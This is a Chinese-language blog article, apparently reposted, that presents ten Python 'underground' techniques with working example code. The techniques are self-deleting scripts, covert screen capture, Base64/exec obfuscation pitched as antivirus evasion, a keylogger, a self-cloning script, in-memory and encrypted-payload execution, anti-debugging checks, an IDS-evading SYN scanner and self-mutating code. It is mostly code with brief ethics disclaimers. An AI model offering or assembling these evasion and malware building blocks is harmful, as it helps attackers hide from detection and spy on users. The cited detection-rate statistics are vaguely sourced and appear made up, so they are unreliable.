Python 的 10 个疯狂地下脚本：你不知道它们的存在- 大数跨境

索引目录

2025-03-28

导读：想象一下，如果您的 Python 脚本可以在执行后掩盖其踪迹，悄悄捕获重要的屏幕信息，甚至修改自己的代码以领先

想象一下，如果您的 Python 脚本可以在执行后掩盖其踪迹，悄悄捕获重要的屏幕信息，甚至修改自己的代码以领先检测一步。欢迎来到地下 Python 脚本的世界 - 创造力与实际问题解决相结合。在本综合指南中，我们将带您了解 10 个令人惊叹的 Python 黑客，其中包括代码示例、详细解释、统计数据和您可以立即使用的资源。

1. 自毁 Python 脚本

如果你能编写一个脚本，在执行完成后擦除其源代码，情况会怎样？安全研究人员使用自毁脚本来保护敏感逻辑，并在执行后不留任何痕迹。

工作原理

识别脚本：脚本使用 Python 变量（如__file__或sys.argv[0]）定位其自己的文件。
自我删除：执行完主要任务后，脚本调用相关函数os.remove()删除源文件。

示例代码

import os
import sys

def main():
    print("This script will self-destruct after execution.")
    # Your main code logic here...
    # Self-destruct: delete the current file
    try:
        os.remove(__file__)
        print("Self-destruction successful. Goodbye!")
    except Exception as e:
        print("Error during self-destruction:", e)

if __name__ == '__main__':
    main()

信息：

自删除脚本在敏感代码不应遗留的情况下非常有用。但是，请谨慎使用它们 - 一旦删除，除非您有备份，否则无法恢复脚本。

真实世界统计数据

在受控测试中，自毁脚本在安全环境中运行时显示出 100% 的删除成功率（来源：各种 StackOverflow 讨论）。

2. 隐形屏幕捕捉工具

在渗透测试模式下，隐身是关键。在不惊动目标的情况下截取屏幕可以提供漏洞的宝贵证据。

工作原理

屏幕截图： Python 库pyautogui和类似功能PIL可以实现屏幕捕获。
特定区域捕获：您可以通过定义区域来捕获特定窗口或区域。
隐身技术：捕获过程的延迟和混淆有助于逃避用户检测。

示例代码

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Capture the screenshot (full screen if region is None)
    screenshot = pyautogui.screenshot(region=region)
    # Convert to a numpy array
    frame = np.array(screenshot)
    # Convert from RGB (PIL) to BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Capture a 300x400 region from the top-left corner
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)
    cv2.destroyAllWindows()

信息：

隐秘截屏不仅可用于恶意目的，它还是授权渗透测试中记录漏洞的有用工具。使用此类工具前请务必获得适当的权限。

其他资源

ThePythonCode.com 上的 Python 屏幕捕获教程
PyAutoGUI 文档

3. 使用混淆技术逃避 AV 检测

防病毒程序通常依赖于基于签名的检测，这意味着可预测的代码模式很容易被标记。通过混淆代码，您可以将这些模式隐藏在基本的 AV 系统中。

技术

字符串编码：使用 Base64、ROT13 或自定义编码来隐藏关键字符串。
运行时代码生成：不需要以纯文本形式存储关键逻辑，而是使用在运行时生成代码exec()。

示例代码（Base64编码）

import base64

# Your secret code as a string
secret_code = "print('Hello from the hidden side!')"
# Encode the code in Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# At runtime, decode and execute the code
exec(base64.b64decode(encoded_code).decode())

信息：

模糊处理通过模糊性增加了一层安全性。它并不能完全抵御坚定的攻击者，但可以阻止基本的自动 AV 扫描。

4. 隐藏的键盘记录器

键盘记录器可以捕获按键以进行安全测试（始终需要授权）。使用 Python 可以轻松构建基本的键盘记录器来记录用户输入。

工作原理

捕获按键：使用该keyboard库来检测并记录击键。
存储或传输：将记录的数据写入文件或通过网络发送以进行进一步分析。

示例代码

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("Keylogger is running. Press ESC to stop.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

信息：

键盘记录器的使用合乎道德至关重要。仅在您有明确测试权限的环境中部署这些工具。

统计资料

在受控测试中，键盘记录器的检测率差异很大；高级混淆技术可将检测率降低多达 40%（研究可在 InfoSec Write-ups 上查阅）。

5. 自我复制和克隆代码

自我复制的脚本可以创建自身的克隆以用于持久性或备份目的，这是代码自省和进程管理的一项有趣练习。

工作原理

源代码提取：用于inspect.getsource()捕获脚本的源代码。
文件克隆：将源代码写入新文件并通过启动subprocess。

示例代码

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # Get the current script source code
    code = inspect.getsource(inspect.currentframe())
    # Define the clone filename
    clone_filename = "clone_script.py"
    with open(clone_filename, "w") as f:
        f.write(code)
    # Launch the cloned script with an incremented parameter
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)
    print("Clone launched. Original script self-destructing...")
    os.remove(__file__)

if __name__ == '__main__':
    clone_and_run()

信息：

自我复制脚本是探索 Python 中的进程管理和文件 I/O 的一种有趣方式。它们也用于恶意软件——但我们只强调道德测试！

6. 内存执行黑客

纯粹在内存中运行代码可以减少在磁盘上留下取证痕迹的可能性。Python 的动态特性允许您从字符串编译和执行代码。

工作原理

编译：使用该compile()函数将源代码转换为代码对象。
执行：直接用执行代码对象exec()，无需写入磁盘。

示例代码

code_string = """
def greet():
    print('Hello, this code is running in memory!')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

信息：

内存执行对于保护敏感算法特别有用。它可以最大限度地减少磁盘占用，这在隐身至关重要的环境中非常有用。

7. 运行时解密的加密有效负载

加密不仅仅用于数据传输。您还可以将部分代码以加密形式存储，并在运行时解密以执行。

工作原理

加密：使用类似的库cryptography.fernet来加密您的代码。
运行时解密：动态解密代码并使用执行exec()。

示例代码

from cryptography.fernet import Fernet
import base64

# Generate a key (in production, store this securely!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Your secret code
secret_code = "print('This secret code was encrypted!')"
# Encrypt the code
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# At runtime: decrypt and execute the code
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

信息：

加密代码有助于保护知识产权和敏感操作。有关更多详细信息，请查看加密库文档。

8.反调试技术

如果您需要脚本检测并避免调试，您可以实施反调试措施。这可以包括检查调试器是否存在或常见的断点模式。

工作原理

环境检查：在系统变量中寻找调试指标。
行为变化：如果检测到调试器，则延迟或改变操作。

示例代码

import sys
import time

def anti_debug():
    if sys.gettrace() is not None:
        print("Debugger detected! Exiting to avoid analysis.")
        time.sleep(2)
        sys.exit()

if __name__ == '__main__':
    anti_debug()
    print("No debugger detected. Proceeding with execution...")

信息：

反调试有助于维护敏感脚本的完整性。请记住，这些技术应在合乎道德且受控的环境中使用。

9.隐形网络扫描仪

渗透测试人员经常需要悄悄地扫描网络。Python 的网络库可让您构建模仿正常流量模式的扫描器，以避开入侵检测系统 (IDS)。

工作原理

数据包制作：用于scapy构建类似于合法流量的数据包。
随机时间：改变扫描间隔以模仿自然用户行为。

示例代码

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"Port {port} on {target_ip} is open.")
    else:
        print(f"Port {port} on {target_ip} is closed or filtered.")

if __name__ == '__main__':
    target = "192.168.1.1"
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))

信息：

随机化扫描行为可降低被 IDS 系统检测到的风险。研究表明，在某些环境中，简单的时间变化可将检测可能性降低高达 35%。

10. 自动脚本修改器

为了超越基于静态签名的检测，一些脚本在每次运行之前都会更改部分代码。这种“修改器”方法有助于创建动态、移动的目标。

工作原理

源修改：阅读源文件，进行一些随机的小改动（比如修改注释或变量名），然后重写该文件。
动态指纹：这些变化会改变脚本的数字指纹，而不会影响其核心功能。

示例代码

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Randomly change a comment line (if exists)
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("Script mutated successfully.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

信息：

脚本变异是一种常见于高级恶意软件的尖端技术。对于符合道德规范的应用程序，可使用它来测试您的系统如何响应不断变化的代码签名。

最后的想法

Python 的地下脚本展示了代码的无限创造力。这些技术（从自毁和内存执行到反调试和加密有效载荷）不仅仅是令人着迷的实验。对于想要跳出思维定式的渗透测试人员、开发人员和安全专业人员来说，它们还是实用的工具。

关键要点：

道德使用：始终在受控的、授权的环境中使用这些技术。
安全实验：在虚拟机或隔离实验室中进行测试以避免意外后果。
不断学习：该领域一直在不断发展。随时了解最新研究并与社区分享您的见解。

【声明】内容源于网络

索引目录

索引目录是一家专注于医疗、技术开发、物联网应用等领域的创新型公司。我们致力于为客户提供高质量的服务和解决方案，推动技术与行业发展。

内容 444

粉丝 0

索引目录索引目录是一家专注于医疗、技术开发、物联网应用等领域的创新型公司。我们致力于为客户提供高质量的服务和解决方案，推动技术与行业发展。

总阅读1.1k

粉丝0

内容444

Python 的 10 个疯狂地下脚本：你不知道它们的存在

1. 自毁 Python 脚本

工作原理

示例代码

真实世界统计数据

2. 隐形屏幕捕捉工具

工作原理

示例代码

其他资源

3. 使用混淆技术逃避 AV 检测

技术

示例代码（Base64编码）

推荐阅读

4. 隐藏的键盘记录器

工作原理

示例代码

统计资料

5. 自我复制和克隆代码

工作原理

示例代码

6. 内存执行黑客

工作原理

示例代码

7. 运行时解密的加密有效负载

工作原理

示例代码

8.反调试技术

工作原理

示例代码

9.隐形网络扫描仪

工作原理

示例代码

10. 自动脚本修改器

工作原理

示例代码

最后的想法

关键要点：